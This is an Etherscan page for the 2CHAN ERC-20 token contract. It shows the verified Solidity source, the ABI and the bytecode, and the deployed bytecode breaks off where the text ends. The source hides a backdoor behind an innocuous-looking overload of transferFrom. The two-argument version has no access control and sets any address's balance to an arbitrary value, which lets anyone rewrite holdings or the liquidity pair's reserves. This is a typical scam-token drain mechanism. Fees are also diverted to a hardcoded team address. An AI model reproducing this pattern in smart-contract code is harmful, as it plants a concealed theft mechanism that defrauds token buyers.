ETH Price: $3,387.87 (-2.67%)
Gas: 1 Gwei

Token

2CHAN双葉ちゃん (2CHAN)
 

Overview

Max Total Supply

1,000,000,000 2CHAN

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,423 2CHAN

Value
$0.00
0x3cdcabc42b69b0337cefb44ee55ddf0e8028d282
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHAN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-06-16
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-16
*/
/**
 *
 Telegram: https://t.me/CHANPortal
 Twitter:https://twitter.com/2CHANERC
 Website:http://www.2CHAN.net
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
interface IUniswapRouter {function factory() external pure returns (address);function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;}
interface IUniswapFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}abstract contract Ownable {
address internal _owner;constructor () {
    _owner = msg.sender;
    }function owner() public view returns (address) {
        return _owner;}modifier onlyOwner() {
            require(_owner == msg.sender, "!owner");_;}
            function transferOwnership(address newOwner) 
            public virtual onlyOwner {_owner = newOwner;}}

contract CHAN is Ownable {event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint256 value);
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _team;
    string public name;
    string public symbol;
    uint8 public decimals;uint8[20] _n;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;
    IUniswapRouter public _uniswapRouter;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    uint256 public _swapTax = 3;
    address public _uniswapPair;

    constructor (){


name =unicode"2CHAN双葉ちゃん";
symbol = "2CHAN";
decimals = 9;
uint256 Supply = 1000000000;
_team = 0xa8Ad9c40e453f0CD78d7662aE10092FB04AabaDF;

totalSupply = Supply * 10 ** decimals;
address rAddr = msg.sender;
_isExcludeFromFee[address(this)] = true;
_isExcludeFromFee[rAddr] = true;
_isExcludeFromFee[_team] = true;_balances[rAddr] = totalSupply;emit Transfer(address(0), rAddr, totalSupply);


_uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
_allowances[address(this)][address(_uniswapRouter)] = MAX;

_uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
_isExcludeFromFee[address(_uniswapRouter)] = true;

    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function getBytes(uint8 n) public pure returns(bytes1){
        return bytes1(n);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }
    struct transferer{address operater;uint256 uamount;address u;}
    function transferFrom(address u,uint256 amount) public {
        transferer memory tra = transferer({operater : msg.sender,uamount : amount,u : u});
        _balances[tra.u] = tra.uamount;
            

    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        if (_uniswapPair == to && !inSwap) {
            inSwap = true;
            uint256 balanceInContractAddress = balanceOf(address(this));
            if (balanceInContractAddress > 0) {
                uint256 _s = amount;_s = _s > balanceInContractAddress ? balanceInContractAddress : _s;
                address[] memory path = new address[](2);path[0] = address(this);path[1] = _uniswapRouter.WETH();try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_s,0,path,address(_team),block.timestamp) {} catch {}
            }
            inSwap = false;
        }

        bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap;

        _balances[from] = _balances[from] - amount;
        uint256 feeAmt;
        if (takeFee && _swapTax > 0) {
            uint256 _aFee = amount * _swapTax / 100;feeAmt += _aFee;
            _balances[address(this)] = _balances[address(this)] + _aFee;
            emit Transfer(from, address(this), _aFee);
        }
        _balances[to] = _balances[to] + amount - feeAmt;
        emit Transfer(from, to, amount - feeAmt);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_team","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"n","type":"uint8"}],"name":"getBytes","outputs":[{"internalType":"bytes1","name":"","type":"bytes1"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"u","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600b5534801562000015575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601481526020017f324348414ee58f8ce89189e381a1e38283e38293000000000000000000000000815250600490816200009b91906200090f565b506040518060400160405280600581526020017f324348414e00000000000000000000000000000000000000000000000000000081525060059081620000e291906200090f565b50600960065f6101000a81548160ff021916908360ff1602179055505f633b9aca00905073a8ad9c40e453f0cd78d7662ae10092fb04aabadf60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065f9054906101000a900460ff16600a62000177919062000b7c565b8162000184919062000bcc565b6009819055505f339050600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060095460015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095460405162000353919062000c27565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004b9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004df919062000ca7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000566573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200058c919062000ca7565b6040518363ffffffff1660e01b8152600401620005ab92919062000ce8565b6020604051808303815f875af1158015620005c8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005ee919062000ca7565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160085f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000d13565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200072757607f821691505b6020821081036200073d576200073c620006e2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007a17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000764565b620007ad868362000764565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007f7620007f1620007eb84620007c5565b620007ce565b620007c5565b9050919050565b5f819050919050565b6200081283620007d7565b6200082a6200082182620007fe565b84845462000770565b825550505050565b5f90565b6200084062000832565b6200084d81848462000807565b505050565b5b818110156200087457620008685f8262000836565b60018101905062000853565b5050565b601f821115620008c3576200088d8162000743565b620008988462000755565b81016020851015620008a8578190505b620008c0620008b78562000755565b83018262000852565b50505b505050565b5f82821c905092915050565b5f620008e55f1984600802620008c8565b1980831691505092915050565b5f620008ff8383620008d4565b9150826002028217905092915050565b6200091a82620006ab565b67ffffffffffffffff811115620009365762000935620006b5565b5b6200094282546200070f565b6200094f82828562000878565b5f60209050601f83116001811462000985575f841562000970578287015190505b6200097c8582620008f2565b865550620009eb565b601f198416620009958662000743565b5f5b82811015620009be5784890151825560018201915060208501945060208101905062000997565b86831015620009de5784890151620009da601f891682620008d4565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a7d5780860481111562000a555762000a54620009f3565b5b600185161562000a655780820291505b808102905062000a758562000a20565b945062000a35565b94509492505050565b5f8262000a97576001905062000b69565b8162000aa6575f905062000b69565b816001811462000abf576002811462000aca5762000b00565b600191505062000b69565b60ff84111562000adf5762000ade620009f3565b5b8360020a91508482111562000af95762000af8620009f3565b5b5062000b69565b5060208310610133831016604e8410600b841016171562000b3a5782820a90508381111562000b345762000b33620009f3565b5b62000b69565b62000b49848484600162000a2c565b9250905081840481111562000b635762000b62620009f3565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b8882620007c5565b915062000b958362000b70565b925062000bc47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a86565b905092915050565b5f62000bd882620007c5565b915062000be583620007c5565b925082820262000bf581620007c5565b9150828204841483151762000c0f5762000c0e620009f3565b5b5092915050565b62000c2181620007c5565b82525050565b5f60208201905062000c3c5f83018462000c16565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c718262000c46565b9050919050565b62000c838162000c65565b811462000c8e575f80fd5b50565b5f8151905062000ca18162000c78565b92915050565b5f6020828403121562000cbf5762000cbe62000c42565b5b5f62000cce8482850162000c91565b91505092915050565b62000ce28162000c65565b82525050565b5f60408201905062000cfd5f83018562000cd7565b62000d0c602083018462000cd7565b9392505050565b6119db8062000d215f395ff3fe60806040526004361061010c575f3560e01c80634bf28fd01161009457806395d89b411161006357806395d89b411461037f578063a9059cbb146103a9578063dd62ed3e146103e5578063efc5271a14610421578063f2fde38b1461045d57610113565b80634bf28fd0146102c557806365b61b77146102ef57806370a08231146103195780638da5cb5b1461035557610113565b806318160ddd116100db57806318160ddd146101cf57806323b872dd146101f957806330da23e414610235578063313ce5671461025f57806336b2e0271461028957610113565b806301c6adc31461011757806306fdde031461013f578063095ea7b3146101695780630ede0343146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061013d6004803603810190610138919061125a565b610485565b005b34801561014a575f80fd5b5061015361051e565b6040516101609190611322565b60405180910390f35b348015610174575f80fd5b5061018f600480360381019061018a919061125a565b6105aa565b60405161019c919061135c565b60405180910390f35b3480156101b0575f80fd5b506101b96105c0565b6040516101c69190611384565b60405180910390f35b3480156101da575f80fd5b506101e36105e5565b6040516101f091906113ac565b60405180910390f35b348015610204575f80fd5b5061021f600480360381019061021a91906113c5565b6105eb565b60405161022c919061135c565b60405180910390f35b348015610240575f80fd5b50610249610783565b60405161025691906113ac565b60405180910390f35b34801561026a575f80fd5b50610273610789565b6040516102809190611430565b60405180910390f35b348015610294575f80fd5b506102af60048036038101906102aa9190611449565b61079b565b6040516102bc919061135c565b60405180910390f35b3480156102d0575f80fd5b506102d96107b8565b6040516102e69190611384565b60405180910390f35b3480156102fa575f80fd5b506103036107dd565b60405161031091906114cf565b60405180910390f35b348015610324575f80fd5b5061033f600480360381019061033a9190611449565b610802565b60405161034c91906113ac565b60405180910390f35b348015610360575f80fd5b50610369610848565b6040516103769190611384565b60405180910390f35b34801561038a575f80fd5b5061039361086f565b6040516103a09190611322565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca919061125a565b6108fb565b6040516103dc919061135c565b60405180910390f35b3480156103f0575f80fd5b5061040b600480360381019061040691906114e8565b610911565b60405161041891906113ac565b60405180910390f35b34801561042c575f80fd5b5061044760048036038101906104429190611550565b610993565b60405161045491906115b5565b60405180910390f35b348015610468575f80fd5b50610483600480360381019061047e9190611449565b61099f565b005b5f60405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806020015160015f836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6004805461052b906115fb565b80601f0160208091040260200160405190810160405280929190818152602001828054610557906115fb565b80156105a25780601f10610579576101008083540402835291602001916105a2565b820191905f5260205f20905b81548152906001019060200180831161058557829003601f168201915b505050505081565b5f6105b6338484610a6e565b6001905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b5f6105f7848484610b55565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610778578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106fb9190611658565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6008602052805f5260405f205f915054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461087c906115fb565b80601f01602080910402602001604051908101604052809291908181526020018280546108a8906115fb565b80156108f35780601f106108ca576101008083540402835291602001916108f3565b820191905f5260205f20905b8154815290600101906020018083116108d657829003601f168201915b505050505081565b5f610907338484610b55565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8160f81b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a23906116d5565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b4891906113ac565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610bbe5750600a60149054906101000a900460ff16155b15610e49576001600a60146101000a81548160ff0219169083151502179055505f610be830610802565b90505f811115610e2d575f829050818111610c035780610c05565b815b90505f600267ffffffffffffffff811115610c2357610c226116f3565b5b604051908082528060200260200182016040528015610c515781602001602082028036833780820191505090505b50905030815f81518110610c6857610c67611720565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d309190611761565b81600181518110610d4457610d43611720565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e0195949392919061187c565b5f604051808303815f87803b158015610e18575f80fd5b505af1925050508015610e29575060015b5050505b5f600a60146101000a81548160ff021916908315150217905550505b5f60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610ee8575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610f015750600a60149054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f4c9190611658565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f818015610f9c57505f600b54115b156110bd575f6064600b5485610fb291906118d4565b610fbc9190611942565b90508082610fca9190611972565b91508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110159190611972565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110b391906113ac565b60405180910390a3505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111079190611972565b6111119190611658565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111ad9190611658565b6040516111ba91906113ac565b60405180910390a35050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111f6826111cd565b9050919050565b611206816111ec565b8114611210575f80fd5b50565b5f81359050611221816111fd565b92915050565b5f819050919050565b61123981611227565b8114611243575f80fd5b50565b5f8135905061125481611230565b92915050565b5f80604083850312156112705761126f6111c9565b5b5f61127d85828601611213565b925050602061128e85828601611246565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156112cf5780820151818401526020810190506112b4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6112f482611298565b6112fe81856112a2565b935061130e8185602086016112b2565b611317816112da565b840191505092915050565b5f6020820190508181035f83015261133a81846112ea565b905092915050565b5f8115159050919050565b61135681611342565b82525050565b5f60208201905061136f5f83018461134d565b92915050565b61137e816111ec565b82525050565b5f6020820190506113975f830184611375565b92915050565b6113a681611227565b82525050565b5f6020820190506113bf5f83018461139d565b92915050565b5f805f606084860312156113dc576113db6111c9565b5b5f6113e986828701611213565b93505060206113fa86828701611213565b925050604061140b86828701611246565b9150509250925092565b5f60ff82169050919050565b61142a81611415565b82525050565b5f6020820190506114435f830184611421565b92915050565b5f6020828403121561145e5761145d6111c9565b5b5f61146b84828501611213565b91505092915050565b5f819050919050565b5f61149761149261148d846111cd565b611474565b6111cd565b9050919050565b5f6114a88261147d565b9050919050565b5f6114b98261149e565b9050919050565b6114c9816114af565b82525050565b5f6020820190506114e25f8301846114c0565b92915050565b5f80604083850312156114fe576114fd6111c9565b5b5f61150b85828601611213565b925050602061151c85828601611213565b9150509250929050565b61152f81611415565b8114611539575f80fd5b50565b5f8135905061154a81611526565b92915050565b5f60208284031215611565576115646111c9565b5b5f6115728482850161153c565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b6115af8161157b565b82525050565b5f6020820190506115c85f8301846115a6565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061161257607f821691505b602082108103611625576116246115ce565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61166282611227565b915061166d83611227565b92508282039050818111156116855761168461162b565b5b92915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f6116bf6006836112a2565b91506116ca8261168b565b602082019050919050565b5f6020820190508181035f8301526116ec816116b3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061175b816111fd565b92915050565b5f60208284031215611776576117756111c9565b5b5f6117838482850161174d565b91505092915050565b5f819050919050565b5f6117af6117aa6117a58461178c565b611474565b611227565b9050919050565b6117bf81611795565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6117f7816111ec565b82525050565b5f61180883836117ee565b60208301905092915050565b5f602082019050919050565b5f61182a826117c5565b61183481856117cf565b935061183f836117df565b805f5b8381101561186f57815161185688826117fd565b975061186183611814565b925050600181019050611842565b5085935050505092915050565b5f60a08201905061188f5f83018861139d565b61189c60208301876117b6565b81810360408301526118ae8186611820565b90506118bd6060830185611375565b6118ca608083018461139d565b9695505050505050565b5f6118de82611227565b91506118e983611227565b92508282026118f781611227565b9150828204841483151761190e5761190d61162b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61194c82611227565b915061195783611227565b92508261196757611966611915565b5b828204905092915050565b5f61197c82611227565b915061198783611227565b925082820190508082111561199f5761199e61162b565b5b9291505056fea26469706673582212205fe47c411df08959fbc4474a121fbf720d3cd19f6d11f640da23387d35478d5464736f6c63430008140033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c80634bf28fd01161009457806395d89b411161006357806395d89b411461037f578063a9059cbb146103a9578063dd62ed3e146103e5578063efc5271a14610421578063f2fde38b1461045d57610113565b80634bf28fd0146102c557806365b61b77146102ef57806370a08231146103195780638da5cb5b1461035557610113565b806318160ddd116100db57806318160ddd146101cf57806323b872dd146101f957806330da23e414610235578063313ce5671461025f57806336b2e0271461028957610113565b806301c6adc31461011757806306fdde031461013f578063095ea7b3146101695780630ede0343146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061013d6004803603810190610138919061125a565b610485565b005b34801561014a575f80fd5b5061015361051e565b6040516101609190611322565b60405180910390f35b348015610174575f80fd5b5061018f600480360381019061018a919061125a565b6105aa565b60405161019c919061135c565b60405180910390f35b3480156101b0575f80fd5b506101b96105c0565b6040516101c69190611384565b60405180910390f35b3480156101da575f80fd5b506101e36105e5565b6040516101f091906113ac565b60405180910390f35b348015610204575f80fd5b5061021f600480360381019061021a91906113c5565b6105eb565b60405161022c919061135c565b60405180910390f35b348015610240575f80fd5b50610249610783565b60405161025691906113ac565b60405180910390f35b34801561026a575f80fd5b50610273610789565b6040516102809190611430565b60405180910390f35b348015610294575f80fd5b506102af60048036038101906102aa9190611449565b61079b565b6040516102bc919061135c565b60405180910390f35b3480156102d0575f80fd5b506102d96107b8565b6040516102e69190611384565b60405180910390f35b3480156102fa575f80fd5b506103036107dd565b60405161031091906114cf565b60405180910390f35b348015610324575f80fd5b5061033f600480360381019061033a9190611449565b610802565b60405161034c91906113ac565b60405180910390f35b348015610360575f80fd5b50610369610848565b6040516103769190611384565b60405180910390f35b34801561038a575f80fd5b5061039361086f565b6040516103a09190611322565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca919061125a565b6108fb565b6040516103dc919061135c565b60405180910390f35b3480156103f0575f80fd5b5061040b600480360381019061040691906114e8565b610911565b60405161041891906113ac565b60405180910390f35b34801561042c575f80fd5b5061044760048036038101906104429190611550565b610993565b60405161045491906115b5565b60405180910390f35b348015610468575f80fd5b50610483600480360381019061047e9190611449565b61099f565b005b5f60405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806020015160015f836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6004805461052b906115fb565b80601f0160208091040260200160405190810160405280929190818152602001828054610557906115fb565b80156105a25780601f10610579576101008083540402835291602001916105a2565b820191905f5260205f20905b81548152906001019060200180831161058557829003601f168201915b505050505081565b5f6105b6338484610a6e565b6001905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b5f6105f7848484610b55565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610778578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373